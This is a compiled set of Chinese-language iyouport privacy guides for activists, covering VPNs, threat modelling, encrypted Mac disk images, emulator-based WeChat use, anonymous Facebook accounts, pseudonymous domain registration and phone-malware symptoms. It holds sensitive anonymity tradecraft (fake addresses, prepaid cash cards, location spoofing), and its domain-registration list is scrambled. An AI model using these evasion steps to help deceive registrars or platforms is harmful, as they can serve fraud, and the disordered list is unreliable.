4、安装防病毒软件，比如 Avast，为PC和移动设备提供了较好的免费服务。当然，如果可以承受的话，购买高级保护版本会更好，有更多功能。

有很多防病毒软件提供商，选择一个评级高的还不太贵的服务，它应该不会笨拙，不会导致手机性能下降。

5、安装付费的 VPN 应用程序，以保护您使用公共Wi-Fi热点时不会受到窥探者的攻击。

这可能无法阻止警察和政府间谍跟踪您，但基本可以防止您的互联网服务提供商（ISP）和星巴克的 Hacker Bob 看到您在网上做什么。

- 参见《如何检查您的VPN连接是否实际加密》

您应该知道，有许多不道德的VPN供应商您应该小心。在选择VPN提供商之前，请先做点调查，以便对得起您的付费。您需要考察的是以下这些方面：

- 《如何验证您的 VPN 连接是否安全？》

七步原则

「图」

在您考虑自己的数字安全性时，需要一些基本的技巧。

最基础的就是威胁建模 —— 全面分析您自己的需求，以便获得最恰当的防御模式。

- 《保护安全需要一系列思考方式，而不是哪个软件》

首先，请问自己以下问题：

- 我要保护什么？
- 我想防的人是谁(们)？
- 我做到保护的可能性有多大？
- 如果我失败了，后果有多严重？
- 我愿意付出多少以防止潜在的后果？

回答这些问题后，您可以更好地评估您的数字安全需求、并创建安全计划或威胁建模。

请始终记得以下6点：

1、最薄弱的一环 ——

记住那句老话：最薄弱的一环会毁掉整个链条。例如，如果您根本没安窗闩，那么即便安装了最好的门锁也没有用。

同样，如果您在笔记本电脑上存储未加密的副本并且笔记本电脑被盗，那么仅仅对电子邮件进行加密并没有用。

请考虑信息和电子设备使用的每一个部分，尝试找出数字安全实践中的任何薄弱环节。

2、更简单，更安全，更轻松 ——

每一个闪亮的、全新的安全解决方案都会对某些人产生诱惑。但是很快，人们发现自己使用了太多的工具，尝试了很多事，以至于已经错乱。

尤其是，拥有复杂的安全系统使识别薄弱环节变得更加困难。

因此，保持简单。

有时，最安全的解决方案可能是技术含量最低的解决方案。就如在电脑摄像头上贴黑胶布、不要买任何所谓的的智能家居、出门前把手机放入法拉第袋…… 等等。

也许计算机可以在很多方面发挥作用，但是有时简单的笔和便条纸的安全性问题更容易理解，因此更易于管理。

3、更昂贵并不意味着更安全 ——

不要以为最昂贵的解决方案是最好的。特别是如果它占用了其他地方所需的资源的话。

诸如在将垃圾丢在路边之前将其彻底切碎的低成本措施就可以为您带来很多好处。

4、可以信任某人，但需要始终知道您信任的人 “是谁” ——

计算机安全建议最终听起来像是您应该绝对不信任任何人，仅仅相信自己。

在现实世界中，几乎可以肯定的是，至少从您的近亲、同伴到医生或律师，很多人都知道您的某些信息。

而在数字空间中，棘手的是：如何了解您信任的人以及信任的对象。

您可能会给您的律师提供密码列表：但是您应该考虑一下这样做可能赋予他们的权力 —— 是否有坏人可以轻易地访问您的密码。

您可能会在被认为是 “私人” 的 Dropbox 或 Google 之类的云服务中编写文档：但是，与此同时您还允许了 Dropbox 和 Google 访问您的文档。

请随时记得，不论是在线还是离线，与您共享秘密的人越少，保密的机会就越大。

5、并没有一个完美的安全计划 ——

您需要做的是制定一个对您有用的、对您面临的风险以及您和您的同事必然能够采取实施步骤的安全计划。

如果不能做到每天都遵循该计划，这一计划就行不通。纸上谈兵不解决问题。

6、今天安全的东西明天可能不安全 ——

不断重新评估您的安全实践至关重要。仅仅因为它们在去年或上周是安全的，并不意味着它们现在仍然安全。

请不断关注您信任的安全知识平台发布的最新消息。请记住：安全性是一个连续的过程。

最后

「图」

本文中所有这些安全措施都是给普通人 —— 它们是保护数据所需的 **最低限度** 的步骤。

我们不想说这是个弱肉强食的世界，但如果您真的像绵羊一样，那就几乎肯定会招来狼。

购买计算机和智能手机时不要仅仅研究性能方面哪个更好，您需要多钻研下如何正确地保护它们，以免遭受不必要的伤害。

别忘了这本书👆，在这里下载：https://t.me/iyouport/6734

○□

原文

AS38 如何在 OS X 中创建加密磁盘映像以便安全储存敏感文件 - iyouport

护盾（AS）

【2020年5月27日存档】就像制作自己的加密文件容器一样

正寻找在 Mac 上加密敏感数据文件夹的方法吗？

您可以使用 File Vault 加密整个硬盘，但这对大多数人来说可能是过大的选择。幸运的是，OS X 具有内置功能，可让您创建一个加密的磁盘映像。

打开磁盘映像的唯一方法是输入密码。您可以像普通文件一样复制磁盘映像，除非在Mac上解锁，否则它将不可读。

总体而言，这就像创建自己的加密文件容器一样。

创建加密的磁盘映像

要在Mac上创建磁盘映像（DMG），请首先创建一个包含所有要加密数据的文件夹。

请注意，创建了磁盘映像后，原始的未加密文件夹仍将保留在您的系统上，您应该立即将其删除。

- 《伪装＋擦除—— 在线隐身的重要步骤（少数派玩家）》

首先，请转到 “应用程序” 或单击右上角的 Spotlight 图标（放大镜）并键入 “磁盘工具”，然后打开 “磁盘工具”。

打开磁盘工具实用程序后，继续并单击顶部的 **File—New Image—Image from Folder**.

「图」

现在，选择您要加密为磁盘映像的文件夹。

点击 “打开”，您将打开 “另存为” 对话框，在其中您需要给新映像起一个名字，然后从几个选项中进行选择。

默认情况下，它将新磁盘映像保存在您要加密的同一文件夹中。在 “Encryption” 下，可以选择128位或256位AES加密。

加密等级越高，速度会随之下降，但您的数据将得到更好的保护。选择任何加密选项后，系统都会要求您输入密码。

确保输入一个非常长且很强的密码，因为这是保护数据的唯一安全措施。

如果政府间谍控制了您的文件，他们可以尝试使用暴力攻击来破解密码。包括字母、数字和符号在内的超过12个字符的任何密码都将花费很长时间才能破解，即使是在非常快的计算机或计算机集群上也是如此。

对于格式，您可以选择 “读取/写入磁盘映像”，以便可以随时读取和写入。

单击保存，将创建新映像。请注意，如果您选择256位AES加密，则创建磁盘映像可能需要花费一些时间。

「图」

现在，当您想要打开该文件时，会提示您输入密码。⚠注意，确保不要在 “我的钥匙串” 框中选中 “记住密码”。

如果您选择 “读/写” 作为 “格式”，则可以随时在加密的映像中添加或删除项目。当您向其中添加内容时，它将自动被加密和保护。

「图」

创建空白的加密映像

还值得注意的是，您不是必须要从文件夹中创建加密映像。您也可以打开“磁盘工具”，然后单击 **File—New Image—Blank Image**.

在这里，您将看到更多其他选择。首先，您可以指定磁盘映像的大小和文件系统格式。建议您坚持使用 OS X 扩展（日志式）以便支持所

有安全功能。

对于分区，可以从 “单个分区– GUID分区图” 或 “单个分区– Apple分区图” 中选择。所有其他设置与前面提到的相同。

总体而言，这是保护 Mac 上的数据免遭窥视的好方法，而无需安装任何第三方软件或在整个系统上启用 File Vault。您学会了吗？○

原文

AS39 如果您仍需要使用微信，这里有一个简易指南以尽可能保护您的安全 - iyouport

护盾（AS）

【2020年6月30日存档】关于不得不使用微信时如何保护您的安全

感谢 *Strayer*（*@Strayer35925917*）供图

按：非常感谢来稿的朋友！这位朋友提供了一个很好的技术建议，希望这篇文章能被更多中国读者获得。

如您所知，IYP 的读者来稿通道主要支持解决方案的思考，即 根据您和您的周边人所面临的难题、困境，寻找可能的方法和措施。它可以是技术角度的、可以是思想角度的、可以是行动经验的延展、也可以是前所未有的创造力。唯一的期待是，实用价值。

我们在这里，随时恭候您的智慧。

【读者来稿】 IYP 的中文读者都知道微信是国家级的大规模监控工具，但在中国，很少有人能够避免使用它，包括在华的外国人。

当需要和家人、朋友、同事、客户等等社会关系建立便捷的即时通讯渠道，微信几乎是普通中国人的 “唯一选择”。

如果您也未能免俗，不妨思考如何在减少隐私暴露的前提下，尽可能“安全”地使用微信。“戴着镣铐跳舞”，这是在集权统治下技术公民必须学会和经常做的事。

言归正传，微信的隐私威胁主要来自两个方面：# 搜集和分析聊天数据，基于大数据分析向用户推送广告和向政府报告敏感内容。

- 利用手机广泛搜集元数据，并结合其他数据集（如搜索关键词、社交媒体帐号、浏览内容、其他APP信息等），精准详细地分析描绘出用户的数字生活乃至日常生活全景。

在上述危险中，1 是您无法避免的，只能通过减少使用来减少损失。

微信聊天内容对政府是完全透明的，您当然知道只在微信中保留必要的少数几个联系人，不使用 “钱包” 和 “朋友圈” 等多余功能，聊天时只谈工作、生活上不敏感的事，这样即使您是警察重点关注对象，也能将信息风险控制在可以接受的范围内。

有些朋友可能认为使用境外手机号注册微信能避免被审查。一定程度上的确如此，比如香港话题、新疆话题，中国手机号注册的账户不能说，或者消息无法显示，但境外手机号注册的账户就可以显示这类内容。但是，境外手机号注册时会被监控，监控的结果被用来审查所有中国微信使用者。

（编者注：这是加拿大公民实验室最近的调查所揭示的，IYP不久后将发布具体解读，关于微信如何操作这种监视）

您能做的，是通过技术手段来避免上述 2，即：减少微信的元数据和手机数据搜集。

忘记那些复杂难懂的权限管理APP和技巧吧，智能手机就是为搜集数据而生的间谍工具，将您的手机调教成“乖孩子”不过是痴心妄想。

丢掉手机，笔记本电脑运行虚拟机是您使用微信的更好选择。

请按照以下步骤操作 ——

「图」

第一步：

「图」

4G随身路由器，电量越大越好，能够满足6小时开机，某些型号甚至可刷 openwrt 固件，能改MAC地址，安全性更佳。

使用电话卡流量上网，推荐购买 “已实名” 的流量黑卡，物联网卡更佳，因为缺少一些普通手机卡的电信指令，更难被定位和监控。

第二步：

「图」

一台笔记本电脑，最好是超级本，有较大的内存，超长的续航，可一整天开机使用。

如有较高安全需求，可将摄像头遮蔽，麦克风模块取掉，被称为 mic blocker 的小工具也可屏蔽麦克风。

第三步：

「图」

安装 virtualbox ，如需剪贴板共享等功能，请为 virtualbox安装拓展包。

然后安装 genymotion Desktop，注册后（https://genymotion.com/account/create/）使用免费版本，注意填写有效的邮箱以接收验证码。

下面在 Linux 系统下演示，通常认为 Linux 的安全性和性能优于 Windows 等闭源操作系统。

但本文所演示内容在 windows 下也有效。

第四步：

「图」

创建虚拟机。

在 genymotion 界面点击＋号，列表中选择要虚拟的设备。

推荐使用8.0版本的 Android API，设备选择手机而非平板，因为虚拟平板在使用微信时存在屏幕90度翻转且无法调节的bug。

由于微信需要arm指令集支持，您还需要下载相应版本的补丁，将zip文件拖到 genymotion 虚拟设备界面即可安装。

然后安装微信，您可以选择apk安装包，也可通过 安装OpenGapps框架 后在谷歌商店安装。

第五步：

「图」

配置代理服务器。

花些小钱购买一个 VPS 是必要的，搭建 shadowsocks/v2ray/trojan/迷雾通等可以 “长连接” 的 socks 代理服务（教程很多，请自行搜索学习）。

如果有他人提供的可靠的代理服务器也可以用。

在运行虚拟机的笔记本上运行代理软件客户端，安装并配置 privoxy 软件，修改 config 文件，找到 “forward-socks5t” 这一行，修改为 “forward-socks5 / 127.0.0.1:[代理软件的本地端口] ”，重启 privoxy。

第六步：

「图」

运行虚拟设备。

在 android 设置界面依次：点击WIFI—— 长按热点名称—— 修改—— 高级选项—— 代理方式手动—— 主机名10.0.3.2，端口8118—— 点击保存。

您的虚拟设备可以全局代理上网了，运行并登录您的微信吧！

现在，您可以把智能手机这个随身间谍留在家里了！

只要带上笔记本电脑和4G随身路由器，随时可以通过微信与关系人联系，还不用担心过多的元数据被腾讯公司采集。

通过 **genymotion** 的一些高级功能，您甚至可以伪造一系列地理位置和轨迹以及其他虚假信息，这在情报行动时非常有用。

不想当技术的奴隶，就要努力成为技术的主人。希望IYP的读者们能有一个平台分享各自的知识、经验和工具，在线上交流和线下协作中培育中国社会的行动派。因为在前方，我们还有很多美好的仗要打。

开始行动，世界才会改变。〇

原文

AS4 如何建立一个匿名社交媒体账户以保护个人数据的私密性？ - iyouport

护盾（AS）

【2019年10月16日存档】利用它，同时阻止它利用你，是有可能的

许多人正在考虑加入#DeleteFacebook运动。

但是彻底离开可能很困难；各种人际关系都在那里，活动家们的宣传能力和影响力已经深刻地嵌入了 Facebook 搭建的网络。

这就是为什么呼声很高，但实际上真正离开的人很少。

💡如果您想在不牺牲隐私的情况下保持社交关系和影响力，则需要按照以下步骤操作。

在开始之前请记得：互联网上的任何东西都不是真正私密的。

所有注册 Facebook 的人都应该知道你的每个朋友、你接受的每件事、以及你查看过的每张图片都会被该公司记录和跟踪。

但是，在创建可严格限制 Facebook 有权访问的信息的新配置时，你完全可以采取一些步骤来缓解这一监视状态的严重性。

⚠同时提醒：推特也一样！下面这个消息来自上个月，讲述的是关于中国当局如何抓捕使用推特的人 —— 但图中建议的方法不实用：

不实用是因为，这种方法在「社交媒体情报」的侦查面前是无用的。

以上的消息不是特例。

另一个消息：

最好的避免措施是：从一开始您就不应该被当局或者任何追踪者关联到真实身份。也就是我们曾经多次强调过的安防思路，详见：

- 《如何切断真身身份》
- 《更稳妥的方法：采取不同的身份并彼此保密的方法》
- 《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》
- 《尤其是对于普通人来说：别犯低端错误》

本指南介绍如何制作匿名的 Facebook 账户，但是要知道，⚠这些方法也同样适合于 Twitter和其他寡头控制的社交媒体平台。

马上开始。

步骤是这样的。

第一步：制作一个 **Burner Email** 或一次性电话号码

首先，您需要使用*仅用于*新*个人资料的电子邮件帐户或电话号码进行注册。

⚠如果您使用已经预先存在的电子邮件帐户或电话号码，您的邮件、搜索历史记录、关联的应用程序等等一切，都是 Facebook 及其广告客户的免费大餐。

最好的做法是什么？当然是白手起家。

对于 Burner Email，您可以通过几种方式进行操作。

首先，您可以注册一个新的电子邮件帐户，并仅用于创建您的匿名 Facebook 个人资料。

您可以选择最适合您的电子邮件服务 —— ⚠重点是确保它仅用于您的新**Facebook**帐户。

- 关于《如何创建全套新身份》、《角色扮演技巧》

🌤更安全的方法是利用 Temp Email 应用程序。

使用此应用程序，它将生成一个与您或您的个人信息完全无关的临时电子邮件地址。

使用此应用程序，您将收到发送到此电子邮件地址的任何电子邮件，例如任何帐户验证或确认码。

当你不需要它时，你可以点击“更改”，基本上可以永远摆脱它。

- **Install Temp Mail: Android (free) | iOS (free)**

由于 Facebook 允许您使用电话号码注册，如果您认为 Burner Email 地址太麻烦，您可以随时创建一次性电话号码。

与电子邮件一样，这是一个虚假的临时号码，允许您在保护数据的同时注册和使用 Facebook。

- 在这里看到如何注册使用一次性号码《4款最佳一次性手机号码应用：适用 Android & iPhone》

第二步：使用 **Island** 隔离 **Facebook**（仅适用于 **Android**）

当您在 Android 设备上创建 Facebook 帐户时，Facebook 将获取可访问的尽可能多的信息。

⚠Facebook 已经找到了一种方法，可以在不提醒用户且无需权限的情况下仍然访问历史记录。

这就是为什么为了保护自己你应该完全将 **Facebook** 应用与数据隔离开来。使用利用 Android 的 Managed Profiles 功能的应用程序可以实现这一点。

Island 是一个早期应用程序，它创建了一个沙盒环境，您可以在其中克隆应用程序并将其与数据隔离开。

虽然它无法消除所有数据泄漏（特别是设备绑定数据，如SMS和IMEI），但它确实禁止应用访问诸如通话记录、联系人和照片之类的信息。

- **Play Store Link: Island (Unreleased) (free)**

首先，从Play商店下载 Island。打开应用程序，然后在下一页上选择“接受”和“接受并继续”。

完成后，将显示主页面，其中包括已安装在沙盒环境中的一些应用程序。

要将 Facebook 移至此环境，首先要确保它像普通应用程序一样安装在手机上，然后选择 Island 主菜单底部的“Mainland”选项卡（或直接拖动）。

现在，选择 Facebook 应用程序，在导航按钮上方，这将提示您允许 Island 安装该应用程序。

选择“设置”并激活切换以开始在沙盒环境中安装克隆的应用程序。

完成后，返回 Island 选项卡查看 Facebook 应用程序。

你可以看到两个版本的应用程序，即普通应用程序和一个带有行李箱图标的应用程序（克隆的应用程序）。

现在卸载“mainland”上的应用程序，导航到该版本的“App Info”页面，该页面的图标顶部没有小行李箱标志。

然后只需点击“卸载”或“禁用”。这将使您只使用克隆的应用程序，由于沙盒环境，该应用程序是孤立的。

第三步：脱离官方 **Facebook** 应用程序

这个步骤在某种程度上是可选的，但是，在了解到 Facebook 应用程序有多可怕之后，你可能很想要完全抛弃官方 Facebook 应用程序。

最好的方法是使用 Facebook 移动网站或 Facebook wrapper app。

如果您正在运行 Android，建议使用名为 Metal 的应用。它是一个 Facebook wrapper app，旨在取代官方 Facebook 应用程序，除其他外，它阻止广告并且更省电。

虽然它可能无法提供万无一失的安全性，但 Metal 不会像官方版本那样请求或使用敏感设备权限。

如果您在安装后跳到设置」权限，您将看到 Metal 没有启用权限。

与官方应用程序一样，建议在 Island 内安装 Metal。

- **Play Store Link: Metal for Facebook & Twitter (free)**

如果您使用的是iOS并且缺少 Metal 体验，请考虑使用浏览器打开 Facebook。

虽然您不会获得本机安全，但 Safari 确实安装了一些隐私设置。

至少使用移动网站将延长您的 iPhone 寿命。

不要下载 Facebook 应用程序—转到 Facebook.com。

第四步：安装**VPN**

即使有完全错误的凭据 Facebook 仍然可以在使用其服务时跟踪您的位置。

虽然有要禁用的位置设置，但是如果您想确保 Facebook 无法跟踪您的新帐户，最好的办法是安装VPN。

可以阻止应用程序根据您的IP地址确定您的位置。

您选择的 **VPN** 需要可以加密您的数据，阻止 Facebook 访问在后台运行或当前正在使用的其他应用程序的数据。

在这里找到VPN推荐《安全手册》

第五步：删除和禁用位置历史数据

Facebook 有一项称为“位置历史记录”的功能，它是随着您使用该应用程序而制作的一组位置记录。

但是，由于您的位置可用于识别您的身份，因此为了匿名，您应该将其关闭。（在设置里面，按照步骤做）

第六步：创建一个新的 **Facebook** 帐户

一旦您考虑了上述步骤，无论是在iOS还是Android上，现在是时候创建新的 Facebook 个人资料了。

前往Facebook.com，或打开 Metal 以开始使用。

点击“创建新帐户”，然后输入假名字。

接下来，输入您的一次性电话号码，或通过点击下一步的“使用电子邮件注册”输入您的一次性电子邮件。完成后，点按“下一步”。

接下来，输入密码，然后点击“注册”。

如果出现提示，您可以选择是否一键登录 Facebook，而不是使用您的姓名和密码登录。

如果您提供了电话号码，Facebook 将向您发送短信验证代码，如果

您输入了电子邮件，则会向您发送验证邮件。

欢迎来到您的新的、匿名的以隐私为中心的 Facebook 帐户。

现在，您无需交出个人信息即可查看群组、活动等。

配置完这些设置后……

第七步：更改您的 **Facebook** 隐私设置

仅仅因为您在上述步骤中采取了预防措施，并不能保护您免受 Facebook 上的某些隐私侵权行为的侵害。

默认情况下，您的帐户的隐私设置并不完美，您使用帐户的时间越长保密性越低。

请更改设置。

虽然 Facebook 仍然有很多方法可以在事后滥用您的隐私，但更改这些设置可以为您提供一些装备。在今天的世界里，你只需要拿走你能得到的东西。

- 把帖子设置为仅限朋友；把简介设置为仅限自己；
- 好友列表设置为私密；
- “时间线”设置下选择“仅限朋友”或“仅限自己”才能发帖；
- “位置”设置为“从不”
- 点击“帐户设置”下的“面部识别”选择“不”；
- 在“帐户设置”中的“广告”下，您会找到“您的信息”等设置，其中会显示广告客户可以访问您的个人资料的哪些部分，在此禁用所有选项。

第八步：阻止隐藏权限（**Android—需要Root**）

虽然 Android 确实允许用户管理应用程序可访问的权限，但 Facebook 可以访问得更多，并且默认情况下您无法对这些侵犯进行任何阻止操作。

例如，即使关闭位置权限，Facebook 仍然可以使用您的网络确定您的大致位置，这是位置权限未涵盖的内容。

这就是您需要 App Ops 的原因。

- **Play Store Link: App Ops (free)**

最初是 Android 4.3 Jelly Bean 中的隐藏功能，App Ops 允许您调整各个应用程序的大量权限，包括默认情况下 Android 没有控件的应用程序。

此应用程序还将在最后授予权限时通知您。

对于大多数权限，您要么允许应用程序访问、要么拒绝它、要么仅在使用时允许，从而节省电池电量并保护您的隐私。

但对于Facebook，应该禁止一切。

使用 App Ops 的最简单方法是 root 设备。但是，也可以在没有 root 的情况下使用，这需要ADB命令。

安装完成后，打开 App Ops 并选择“Facebook”。然后逐行选择每个条目并拒绝其访问，阻止应用程序了解您的身份。〇

原文

AS40 活动家如何构建敏感网站并躲避政府和恶意者的追踪监视 - iyouport

护盾（AS）

【2020年7月24日存档】本文会介绍具体步骤。但首先应该明确的是概念，即 您希望得到哪种程度的保护

曾经有朋友询问如何构建一个追查不到所有者身份的网站。这需要涉及多个方面，域名注册方面的隐身只是之一，还包括，比如购买非免费软件、注册高级服务、为访问专有数据库付费等等，每一步都可以暴露您的身份。

本文分为三个主要部分。

首先，简要介绍一下假名和匿名之间的区别。

其次，分步介绍如何获得一个假名域名，同时使任何人都难以确定您是谁。

最后，简要介绍其他挑战，包括有关如何应对其中一些挑战的详细信息。

这些步骤综合起来足以使一个人至少在一段时间内隐瞒身份，就算是最有能力和最有耐心的监视者也很难了解您是谁。同时，这也是一个警告性的故事，关于，追求“完美”匿名性也许需要您舍弃一些东西。

假名、匿名、和可追踪性

「图」

假名和匿名是不同的。假名指的是您在现实中从未使用过的名字；匿名一般指的是不论如何都找不到对应的身份。这两者经常被混用。

这些概念可以像数字安全领域中的任何其他事物一样变得复杂，但是

最基本的定义通常是最有用的。

最基本层面讲，使用假名就像是笔名，人们基本知道您的假名，而且不难通过假名知道您的真名；但是，要想匿名，您必须防止任何人将这个名字链接到您的真实身份。

幸运的是，这些东西很少是非黑即白的，安全人员一般会谈论“可追踪性”。重要的是要认识到，匿名性（无论您选择叫它什么）都是灰色地带。

☞更具体地说，您需要问的是一个切实的问题：“我需要防止谁将我的假名与真实身份联系起来？”

如果答案是“那个精通技术的亿万富翁间谍同时也是我邻居”，那么您将必须真正的匿名；如果答案是“不很聪明并且不太在意的人”，那么一个听起来很酷的化名也许就可以解决问题。

当然，这种可追踪性梯度并非仅限于域名注册 —— 它涉及各种在线和离线操作，包括选择电子邮件地址的简单过程。

假设您的名字叫王大锤。如果您使用地址 wangdachui@gmail.com 注册一个电子邮件帐户，然后将消息发送给任何知道您名字的人，那么他们一看就能知道是谁发送的。

为了获得假名，您可以注册一个地址，例如 tekakiarifu3237@gmail.com。但是，如果您的邮件实际显示为 tekakiarifu3237@gmail.com 「 wangdachui 」 发送的邮件，那么显然，它根本就没什么用。

同样，比如为 iyouport.org 购买域名，同时在 WHOIS 中公开列出 iyouport@gmail.com 作为注册人的电子邮件地址。从技术上讲，该域是伪名，但是，几乎不提供匿名性。

公开的和私密的可追踪性

「图」

区分可追踪性是公开的还是私密的，也许很重要。

tekakiarifu3237@gmail.com 「 wangdachui 」 是公开可追踪性的一个例子；如果在购买域名时，WHOIS 注册信息中包含您的真实联系信息，也是如此。任何知道该如何搜索的人都能拿到您参与其中的证

据。

私密可追踪性相比下更复杂一些。即使您在选择假名电子邮件地址的「Real Name」部分时非常小心 —— 或提交了精心选择的WHOIS注册信息 —— 仍然会有许多个人、公司、机构和机器人能够将您的假名与您的真实身份联系在一起。

☞比如下面这样的情况：

- 这个电邮地址您曾经用过多年；
- 您曾经将这个电邮地址链接到了个人社交媒体账户；
- 您用信用卡付款了；
- 创建帐户时提供了“备用地址”或手机号码；
- 您经常从您的家和办公室的IP地址登录帐户 ……

如果以上任何一个条件为“是”，都能说明您的“私密可追踪性”很高。

虽然私密可追踪性仅对那些占据某种特权的人而言是危险的，但是您需要清楚地列出这些人的名单，非常重要 —— ⚠它们至少包括：熟悉您的所有人、域名注册商、电子邮件和社交网络服务提供商、ISP、任何监视机构、以及有机会物理访问您设备的任何人。

☞通常最有可能的威胁包括：

- 域名注册商或域名隐私保护服务提供商的员工收受贿赂而出卖您；
- 信用卡公司出售交易信息以牟利的数据经纪人出卖您；
- 经常与政府机构共享IP地址数据的互联网服务提供商（ISP）；
- 服务提供商和手机运营商被政府间谍要求透露特定电话号码或电子邮件地址的所有者……

⚠请注意，以上这些仅仅是最基本的！完整列表要长得多，它还可能包括您身边的所有人，朋友、知己、同事；而且，当然，还包括被黑客入侵并找到其收件箱、交易日志、和用户数据库并在线倾销以供所有人查看的情况，私密可追踪能力突然变成公开追踪性。

因此，与其考虑有关假名性和匿名性的部分，不如考虑公开可追踪性部分和私密可追踪性部分。弄清面临的挑战，有助于帮您构思一个更合适的护盾。

域名所有权和WHOIS

「图」

互联网名称与数字地址分配机构（ICANN）是于1998年成立的美国非营利组织。除其他职责外，它还管理分配域所有权的协议。出于本文的目的，这些协议最重要的方面是它们要求域所有者：

向注册服务商提供准确详细的联系方式 … 包括：全名、邮政地址、电子邮件地址、语音电话号码、和传真号码（如果有的话）

该协议进一步指出：

故意提供不准确或不可靠的信息 … 或 … 未能在*15*天内答复注册服务商有关联系方式的准确性询问 … 应作为取消注册资格的依据。

域名注册商通常将此联系信息提交到可公开访问的域名所有者的分布式数据库 WHOIS中。有许多免费的在线服务可让您搜索此数据库。而且非常简单，只需：# 在浏览器中导航到 ICANN WHOIS 页面

- 输入一个域名
- 点击查找

1. 使用以现金购买的并以新名字和地址注册的预付费“礼品卡”来支付域名；

- 任何时候与礼品卡提供商、注册服务商或新域本身进行交互时，请使用 Tor 浏览器或 Tails。

1. 选择购买礼品卡的国家/地区的地址

- 通过使用 Tor 浏览器或 Tails 访问在线 “假地址生成器” 来标识真实（或至少是现实）的街道地址。

1. 选择在相应国家/地区有效的电话号码

- 选择一个可以实际接收邮件的电子邮件地址
- 确保该电子邮件地址没有透露有关您或您的合作伙伴的任何信息。

1. 要求您解决 CAPTCHA 测试以证明是人类，只是因为通过Tor访问的结果

- 直接拒绝您新创建的联系信息
- 拒绝预付礼品卡的付款
- 成功付款后过了很长时间又退回了钱

1. 限制手机号码的可追踪性

- 使用该号码限制电子邮件地址的可追踪性
- 如上所述，在“以假名注册”之前执行所有这些操作。

1. 访问预付费手机帐户的时候

- 访问新电子邮件帐户的时候
- 访问预付礼品卡帐户的时候
- 使用预付礼品卡购物的时候
- 访问、管理或搜索新域名信息的时候

1. 插入电池之前，在预付费手机上的两个摄像头上都贴上黑胶布

- 每当靠近家、办公室、或真实的移动电话时，请将电池从预付费电话中取出
- 避免将预付礼品卡用于任何无关的购买

最后还有现场监控问题。是的，面部识别技术比以前更好了；大多数商店中或附近都可能有这种监视器。您可以在异国购物、学习一些欺骗面部识别的方法、或者使用加密货币。

原文

AS41 如何识别手机上的恶意软件？ - iyouport

护盾（AS）

【2020年7月29日存档】人类如果感染病毒会发烧咳嗽，手机感染病毒的结果也会出现一些“症状”，让您知道它病了。这些症状也许不够明显，您需要在多个方面保持警惕以及早移除病灶，至少是本文中列出的这些方面

恶意软件和间谍软件是最常见的两个计算机安全问题。虽然确实很容易使计算机感染恶意软件，但重要的是不要忽视移动设备也很受到影响这一事实。

当智能手机感染了恶意软件时，它可能会导致多个问题，包括被监视、被跟踪、被骇客从受害者那里窃取最私密的信息，等等。

对于任何智能手机用户来说，了解如何检查自己的手机是否感染了病毒，是重要的一步。

有几种迹象可能表明设备上存在病毒，如果您识别出了这些迹象，立刻采取适当的措施至关重要，例如 使用可靠的防病毒软件。

如何确定我的手机是否感染了病毒？

智能手机用户必须意识到随时可能出现的诸多威胁，包括攻击者现在执行的最新DNS劫持。

感染后的手机难以检查病毒会导致多种问题，包括 勒索软件、密码盗取、窃取机密数据等等。此外，还有一些恶意软件也可能导致智能手机的物理功能出现问题。

以下7个迹象表明您的智能手机已被恶意软件感染：

1、数据使用量突然增加

在查看手机是否感染病毒时，最早出现的迹象之一就是数据使用量会突然增加。

即使智能手机上的某些应用程序和游戏可能会占用大量数据，但在没有明显原因的情况下使用的数据量突然增加时，这可能表明手机已感染病毒；尤其是 ADB.miner 之类的恶意软件以在 Android 手机和智能电视上挖掘 Monero 币而闻名。

iOS 和 Android 都在 “设置” 部分提供了一个功能，使智能手机用户可以大致了解自己的设备上正在使用多少数据。

Android 设备也将能够提供一个图表，显示指定时间段内的数据使用情况 —— 这样就很容易检测到突然增加的情况。

对于 Android：

- 打开手机的“设置”应用。
- 点击 Network & internet 」 Data usage.
- 在 “Mobile” 下，您会看到您使用了多少数据。
- 要查看图表和详细信息，请点击 Mobile data usage；要选择时间，请点击向下箭头；要查看每个应用使用了多少数据，拉到图表下方。

对于 iPhone：

要打开或关闭蜂窝数据，请转到 “设置”，然后点击 “蜂窝数据” 或 “移动数据”。如果您使用的是iPad，则可能会看到 Settings 」 Cellular Data；如果您使用的是双SIM卡 iPhone，则需要将其中一个号码设置为主要数据。

2、耗电量增加，明显比平时更费电

这是另一个感染迹象。尽管有时这可能表明电池已损坏，但仍有多种病毒可能会导致智能手机电池快速耗尽。

所以依旧要建议您在花钱更换电池之前，应该首先对手机进行排除感染的扫描。2019年2月，研究人员揭露了一项名为 DrainerBot 的 Android 主要广告欺诈骗局，其特征就是费电和吞噬设备数据。

3、智能手机的性能突然下降

市场上一些较新的智能手机倾向于配备功能强大的处理器和足够的

RAM，以轻松处理应用程序和游戏中使用的最新技术。

当装有这种技术的智能手机 *突然* 开始出现性能降低的情况时，也可能表明该设备已感染病毒。

这也许不大容易被注意到。有时只有进入需要强大CPU和GPU的游戏时，性能下降才会引起注意。

而在其他情况下，病毒也可能导致移动设备的整体性能下降，即使执行简单的任务（如拨打电话或阅读短信）也是如此

4、智能手机开始过热

除了发现智能手机的性能不足外，过热可能是另一个迹象表明它已被 HiddenMiner 之类的恶意软件感染。

在大多数智能手机中这都是一个罕见的问题。因此，当出现过热问题时，病毒扫描可以帮助检查手机上的恶意软件。

5、陌生的应用程序开始显示在设备上

感染智能手机的病毒有时可能会导致您不熟悉的应用程序被自动安装。

因此，如果有一些应用程序在用户不知情的情况下出现在手机上，就可能是该设备已感染病毒的又一个迹象。

当该应用程序看起来很可疑时，不仅应将其删除，而且，还应彻底扫描设备本身以查找可能的病毒的残留痕迹。

6、**Wi-Fi**和移动数据自动开启

您应该时刻警惕移动数据和Wi-Fi开关。由于病毒通常会通过互联网发送和接收数据，在用户禁用移动数据或Wi-Fi连接后感染也可能会导致数据被打开。

7、弹窗广告

另一个烦人但很明显的迹象是弹出广告的突然出现。即使在用户离开应用程序并留在手机首页后，这些内容仍然会显示出来。

这类弹出广告有时会显示不适当的内容，或将用户引导至智能手机应

用程序商店中。

结论

恶意软件会同时影响台式计算机和移动设备。当智能手机受到影响时，问题可能更严重，因为那上面通常都有银行卡和信用卡的详细信息。

如果您怀疑自己可能受到感染，就需要了解如何确定病毒的存在；这可以帮助您采取措施删除病毒以保护您的敏感数据。〇

How to identify malware on your phone with these 7 signs

原文

AS42 活动家和组织者究竟是否可以使用社交媒体进行宣传动员？ - iyouport

护盾（AS）

【2020年7月31日存档】往最坏处想不会错

